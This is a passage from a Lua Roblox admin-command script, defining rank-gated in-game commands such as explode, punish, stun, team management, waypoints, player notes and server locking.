7614 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7615 local Players = STRING:Scan(Arguments[1], Speaker)
7616 for _,Player in pairs(Players) do
7617 if Player.Character and Player.Character:FindFirstChild("Torso") then
7618 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7619 if Get:IsA("Sparkles") then
7620 Get:Destroy()
7621 end
7622 end
7623 end
7624 end
7625 end};
7626
7627 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7628 local Players = STRING:Scan(Arguments[1], Speaker)
7629 for _,Player in pairs(Players) do
7630 if Player.Character and Player.Character:FindFirstChild("Torso") then
7631 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7632 if Get:IsA("Fire") then
7633 Get:Destroy()
7634 end
7635 end
7636 end
7637 end
7638 end};
7639
7640 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7641 local Players = STRING:Scan(Arguments[1], Speaker)
7642 for _,Player in pairs(Players) do
7643 if Player.Character and Player.Character:FindFirstChild("Torso") then
7644 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7645 if Get:IsA("Smoke") then
7646 Get:Destroy()
7647 end
7648 end
7649 end
7650 end
7651 end};
7652
7653 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7654 local Players = STRING:Scan(Arguments[1], Speaker)
7655 for _,Player in pairs(Players) do
7656 if Player.Character and Player.Character:FindFirstChild("Torso") then
7657 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7658 local Boom = Instance.new("Explosion", Workspace)
7659 Boom.Position = Player.Character.Torso.Position
7660 end
7661 end
7662 end};
7663
7664 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7665 local Players = STRING:Scan(Arguments[1], Speaker)
7666 for _,Player in pairs(Players) do
7667 if Player.Character and Player.Character:FindFirstChild("Torso") then
7668 coroutine.wrap(function() for i = 1,50 do
7669 local Boom = Instance.new("Explosion", Workspace)
7670 Boom.Position = Player.Character.Torso.Position
7671 wait()
7672 end end)()
7673 coroutine.wrap(function() for i = 1,5 do
7674 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7675 end end)()
7676 end
7677 end
7678 end};
7679
7680 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7681 local Players = STRING:Scan(Arguments[1], Speaker)
7682 for _,Player in pairs(Players) do
7683 if Player.Character and Player.Character:FindFirstChild("Torso") then
7684 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7685 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7686 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7687 end
7688 end
7689 end};
7690
7691 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7692 local Players = STRING:Scan(Arguments[1], Speaker)
7693 for _,Player in pairs(Players) do
7694 if Player.Character and Player.Character:FindFirstChild("Torso") then
7695 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7696 end
7697 end
7698 end};
7699
7700 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7701 local Players = STRING:Scan(Arguments[1], Speaker)
7702 for _,Player in pairs(Players) do
7703 if Player.Character then
7704 Player.Character.Parent = Server.Lighting
7705 end
7706 end
7707 end};
7708
7709 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7710 local Players = STRING:Scan(Arguments[1], Speaker)
7711 for _,Player in pairs(Players) do
7712 if Player.Character then
7713 Player.Character.Parent = Server.Workspace
7714 Player.Character:MakeJoints()
7715 end
7716 end
7717 end};
7718
7719 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7720 local Players = STRING:Scan(Arguments[1], Speaker)
7721 for _,Player in pairs(Players) do
7722 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7723 Player.Character.Humanoid.PlatformStand = true
7724 end
7725 end
7726 end};
7727
7728 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7729 local Players = STRING:Scan(Arguments[1], Speaker)
7730 for _,Player in pairs(Players) do
7731 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7732 Player.Character.Humanoid.PlatformStand = false
7733 end
7734 end
7735 end};
7736
7737 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7738 local Players = STRING:Scan(Arguments[1], Speaker)
7739 for _,Player in pairs(Players) do
7740 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7741 Player.Character.Humanoid.Jump = true
7742 end
7743 end
7744 end};
7745
7746 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7747 local Players = STRING:Scan(Arguments[1], Speaker)
7748 for _,Player in pairs(Players) do
7749 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7750 Player.Character.Humanoid.Sit = true
7751 end
7752 end
7753 end};
7754
7755 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7756 local Players = STRING:Scan(Arguments[1], Speaker)
7757 for _,Player in pairs(Players) do
7758 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7759 Player.Character.Humanoid.Sit = false
7760 end
7761 end
7762 end};
7763
7764 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7765 local Players = STRING:Scan(Arguments[1], Speaker)
7766 for _,Player in pairs(Players) do
7767 if Player.Character and Player.Character:FindFirstChild("Torso") then
7768 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7769 end
7770 end
7771 end};
7772
7773 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7774 local Players = STRING:Scan(Arguments[1], Speaker)
7775 for _,Player in pairs(Players) do
7776 if Player.Character and Player.Character:FindFirstChild("Torso") then
7777 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7778 end
7779 end
7780 end};
7781
7782 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7783 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7784 end};
7785
7786 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7787 local Color = "Blue"
7788 local String = Arguments[2]
7789 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7790 if #ChatSplit >= 2 then
7791 if string.lower(ChatSplit[1]) == "green" then
7792 Color = "Green"
7793 String = ChatSplit[2]
7794 elseif string.lower(ChatSplit[1]) == "red" then
7795 Color = "Red"
7796 String = ChatSplit[2]
7797 end
7798 end
7799 local Players = STRING:Scan(Arguments[1], Speaker)
7800 for _,Player in pairs(Players) do
7801 if Player.Character and Player.Character:FindFirstChild("Head") then
7802 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7803 end
7804 end
7805 end};
7806
7807 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7808 local Players = STRING:Scan(Arguments[1], Speaker)
7809 for _,Player in pairs(Players) do
7810 if Player.Character then
7811 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7812 end
7813 end
7814 end};
7815
7816 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7817 local Players = STRING:Scan(Arguments[1], Speaker)
7818 local ID = nil
7819 if tonumber(Arguments[2]) ~= nil then
7820 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7821 else
7822 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7823 for _,Face in pairs(FaceTable) do
7824 if string.lower(Arguments[2]) == string.lower(Face) then
7825 ID = FaceID
7826 break
7827 end
7828 end
7829 end
7830 end
7831 if ID then
7832 for _,Player in pairs(Players) do
7833 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7834 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7835 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7836 end
7837 end
7838 end
7839 end};
7840
7841 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7842 local Players = STRING:Scan(Arguments[1], Speaker)
7843 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7844 for _,Player in pairs(Players) do
7845 if Player.Character and Player.Character:FindFirstChild("Head") then
7846 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7847 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7848 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7849 end
7850 end
7851 end};
7852
7853 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7854 local Players = STRING:Scan(Arguments[1], Speaker)
7855 for _,Player in pairs(Players) do
7856 if Player.Character and Player.Character:FindFirstChild("Head") then
7857 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7858 end
7859 end
7860 end};
7861
7862 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7863 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7864 end, Http = true};
7865
7866 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7867 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7868 end, Http = true};
7869
7870 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7871 local Players = STRING:Scan(Arguments[1], Speaker)
7872 for _,Player in pairs(Players) do
7873 local ExistingData = Player:LoadInstance("Data")
7874 if ExistingData == nil then
7875 ExistingData = Instance.new("Configuration")
7876 end
7877 ExistingData.Name = "Player Data"
7878 local Key = Instance.new("Configuration", ExistingData)
7879 Key.Name = Arguments[2]
7880 Player:SaveInstance("Data", ExistingData)
7881 end
7882 end};
7883
7884 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7885 local Players = STRING:Scan(Arguments[1], Speaker)
7886 local Data = Arguments[2]
7887 for _,Player in pairs(Players) do
7888 local ExistingData = Player:LoadInstance("Data")
7889 if ExistingData ~= nil then
7890 if string.lower(Data) == "all" then
7891 ExistingData:ClearAllChildren()
7892 else
7893 for _,DataObj in pairs(ExistingData:GetChildren()) do
7894 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7895 DataObj:Destroy()
7896 end
7897 end
7898 end
7899 end
7900 Player:SaveInstance("Data", ExistingData)
7901 end
7902 end};
7903
7904 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7905 local Players = STRING:Scan(Arguments[1], Speaker)
7906 local DataSet = {}
7907 for _,Player in pairs(Players) do
7908 local ExistingData = Player:LoadInstance("Data")
7909 if ExistingData ~= nil then
7910 if #ExistingData:GetChildren() ~= 0 then
7911 for _,Data in pairs(ExistingData:GetChildren()) do
7912 table.insert(DataSet, Player.Name..": "..Data.Name)
7913 end
7914 else
7915 table.insert(DataSet, "Data does not exist for "..Player.Name)
7916 end
7917 else
7918 table.insert(DataSet, "Data does not exist for "..Player.Name)
7919 end
7920 end
7921 GUI:ListGui(Speaker, "Notes", DataSet)
7922 end};
7923
7924 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7925 local Players = STRING:Scan(Arguments[1], Speaker)
7926 for _,Player in pairs(Players) do
7927 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7928 Player.Character.Humanoid.WalkSpeed = 16
7929 end
7930 end
7931 end};
7932
7933 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7934 local Players = STRING:Scan(Arguments[1], Speaker)
7935 for _,Player in pairs(Players) do
7936 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7937 Player.Character.Humanoid.WalkSpeed = -16
7938 end
7939 end
7940 end};
7941
7942 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7943 local TeamColor = BrickColor.random()
7944 local TeamName = Arguments[1]
7945 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7946 if #TeamNameSplit >= 2 then
7947 local Color = TeamNameSplit[1]
7948 local NewTeamName = TeamNameSplit[2]
7949 if Color == "Medium stone grey" then
7950 TeamColor = BrickColor.new(Color)
7951 TeamName = NewTeamName
7952 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7953 TeamColor = BrickColor.new(Color)
7954 TeamName = NewTeamName
7955 elseif Colors[string.upper(Color)] then
7956 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7957 TeamName = NewTeamName
7958 end
7959 end
7960
7961 local NewTeam = Instance.new("Team", Server.Teams)
7962 NewTeam.TeamColor = TeamColor
7963 NewTeam.Name = TeamName
7964 end};
7965
7966 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7967 local Players = STRING:Scan(Arguments[1], Speaker)
7968 for _,Player in pairs(Players) do
7969 Player.Neutral = true
7970 end
7971 end};
7972
7973 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7974 local Players = STRING:Scan(Arguments[1], Speaker)
7975 if string.lower(Arguments[2]) == "none" then
7976 for _,Player in pairs(Players) do
7977 Player.Neutral = true
7978 end
7979 else
7980 for _,Obj in pairs(Server.Teams:GetChildren()) do
7981 if Obj:IsA("Team") then
7982 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7983 for _,Player in pairs(Players) do
7984 Player.Neutral = false
7985 Player.TeamColor = Obj.TeamColor
7986 end
7987 end
7988 end
7989 end
7990 end
7991 end};
7992
7993 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7994 for _,Obj in pairs(Server.Teams:GetChildren()) do
7995 if Obj:IsA("Team") then
7996 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7997 for _,Player in pairs(Server.Players:GetPlayers()) do
7998 if Player.TeamColor == Obj.TeamColor then
7999 Player.Neutral = true
8000 end
8001 end
8002 Obj:Destroy()
8003 end
8004 end
8005 end
8006 end};
8007
8008 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8009 for _,Player in pairs(Server.Players:GetPlayers()) do
8010 Player.Neutral = true
8011 end
8012 for _,Obj in pairs(Server.Teams:GetChildren()) do
8013 if Obj:IsA("Team") then
8014 Obj:Destroy()
8015 end
8016 end
8017 end};
8018
8019 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8020 for _,Player in pairs(Server.Players:GetPlayers()) do
8021 GUI:Countdown(Player, Arguments[1])
8022 end
8023 end};
8024
8025 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8026 local Players = STRING:Scan(Arguments[1], Speaker)
8027 for _,Player in pairs(Players) do
8028 if Player:FindFirstChild("Backpack") then
8029 CORE:ExecuteResource("ShowAd", Player.Backpack)
8030 end
8031 end
8032 end};
8033
8034 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8035 local Players = STRING:Scan(Arguments[1], Speaker)
8036 for _,Player in pairs(Players) do
8037 if Player.Character then
8038 for PosName,WP in pairs(Waypoints) do
8039 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8040 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8041 break
8042 end
8043 end
8044 end
8045 end
8046 end};
8047
8048 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8049 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8050 end};
8051
8052 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8053 local Num = 0
8054 for PosName,WP in pairs(Waypoints) do
8055 Num = Num + 1
8056 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8057 Waypoints[PosName] = nil
8058 end
8059 end
8060 end};
8061
8062 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8063 local WaypointHolder,WaypointRaw = {},{}
8064 for Name, WP in pairs(Waypoints) do
8065 local View = Name..": "..tostring(WP)
8066 table.insert(WaypointHolder, View)
8067 WaypointRaw[View] = WP
8068 end
8069 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8070 Clicked.Event:connect(function(Text)
8071 local Waypoint = WaypointRaw[Text]
8072 if Waypoint then
8073 if Speaker.Character then
8074 Speaker.Character:MoveTo(Waypoint)
8075 end
8076 end
8077 end)
8078 end};
8079
8080 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8081 local Players = STRING:Scan(Arguments[1], Speaker)
8082 local List = {}
8083 for _,Player in pairs(Players) do
8084 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8085 end
8086 GUI:ListGui(Speaker, "Listed Players", List)
8087 end};
8088
8089 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8090 if tonumber(Arguments[1]) then
8091 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8092 else
8093 local Players = STRING:Scan(Arguments[1], Speaker)
8094 for _,Player in pairs(Players) do
8095 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8096 end
8097 end
8098 end};
8099
8100 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8101 local Players = STRING:Scan(Arguments[1], Speaker)
8102 local Friends,OneFriend = {}, false
8103 for _,Player in pairs(Players) do
8104 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8105 --[[if Player:IsBestFriendsWith(User.UserId) then
8106 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8107 OneFriend = true
8108 ]]
8109 if Player:IsFriendsWith(User.UserId) then
8110 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8111 OneFriend = true
8112 end
8113 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8114 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8115 end
8116 end end
8117 end
8118 GUI:ListGui(Speaker, "Friend List", Friends)
8119 end};
8120
8121 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8122 Settings.ServerLocked = true
8123 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8124 end};
8125
8126 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8127 Settings.ServerLocked = false
8128 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8129 end};
8130
8131 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8132 local OldAge = Settings.MinimumAge
8133 local Age = tostring(Arguments[1])
8134 if Age then
8135 Settings.MinimumAge = Age
8136 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8137 end
8138 end};
8139
8140 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8141 if Settings.VIPAdminID <= 1 then
8142 MARKET:PromptPurchase(Speaker, VIPAdminID)
8143 else
8144 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8145 end
8146 end};
8147
8148 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8149 if Settings.VIPMemberID <= 1 then
8150 MARKET:PromptPurchase(Speaker, VIPMemberID)
8151 else
8152 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8153 end
8154 end};
8155
8156 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8157 if tonumber(Arguments[2]) then
8158 local Players = STRING:Scan(Arguments[1], Speaker)
8159 local Size = tonumber(Arguments[2])+25
8160 for _,Player in pairs(Players) do
8161 if Player.Character then
8162 if Player.Character:FindFirstChild("Head") then
8163 if Player.Character.Head:FindFirstChild("Mesh") then
8164 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8165 end
8166 end
8167 end
8168 end
8169 end
8170 end};
8171
8172 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8173 local Players = STRING:Scan(Arguments[1], Speaker)
8174 for _,Player in pairs(Players) do
8175 if Player.Character and Player.Character:FindFirstChild("Torso") then
8176 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8177 Player.Character.Parent = nil
8178 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8179 end
8180 end
8181 end};
8182
8183 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8184 GUI:SettingsGui(Speaker)
8185 end};
8186
8187 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8188 if tonumber(Arguments[2]) then
8189 local Players = STRING:Scan(Arguments[1], Speaker)
8190 local List = {}
8191 for _,Player in pairs(Players) do
8192 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8193 table.insert(List, Player.Name)
8194 end
8195 end
8196 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8197 end
8198 end};
8199
8200 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8201 local Players = STRING:Scan(Arguments[1], Speaker)
8202 for _,Player in pairs(Players) do
8203 if Player.Character and Player.Character:FindFirstChild("Head") then
8204 local Char = Player.Character
8205 Char:BreakJoints()
8206 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8207 Obj.Anchored = true
8208 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8209 local Decal = Instance.new("Decal", Obj)
8210 Decal.Texture = "rbxassetid://178913323"
8211 Decal.Face = Face
8212 end
8213 end)
8214 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8215 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8216 Sound1:Play() Sound2:Play()
8217 coroutine.wrap(function()
8218 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8219 repeat wait()
8220 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8221 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8222 Obj.Transparency = math.random(0,30)/100
8223 Obj.Reflectance = math.random(0,50)/100
8224 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8225 end)
8226 until Char ~= Player.Character or Char.Parent == nil
8227 end)()
8228 end
8229 end
8230 end, Hidden = true};
8231
8232 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8233 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8234 end, Http = true};
8235
8236 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8237 local Players = STRING:Scan(Arguments[1], Speaker)
8238 for _,Player in pairs(Players) do
8239 if Player.Character then
8240 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8241 Obj.Material = "Neon"
8242 end)
8243 end
8244 end
8245 end};
8246
8247 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8248 local Players = STRING:Scan(Arguments[1], Speaker)
8249 for _,Player in pairs(Players) do
8250 if Player.Character then
8251 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8252 Obj.Material = "Plastic"
8253 end)
8254 end
8255 end
8256 end};
8257
8258 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8259 local Players = STRING:Scan(Arguments[1], Speaker)
8260 for _,Player in pairs(Players) do
8261 if Player.Character then
8262 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8263 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8264 end)
8265 end
8266 end
8267 end, Hidden = true};
8268
8269 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8270 local Players = STRING:Scan(Arguments[1], Speaker)
8271 for _,Player in pairs(Players) do
8272 if Player.Character and Player.Character:FindFirstChild("Torso") then
8273 local Pos = Player.Character.Torso.Position
8274 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8275 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8276 if Answer == "Ok" then
8277 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8278 end
8279 end
8280 end
8281 end};
8282
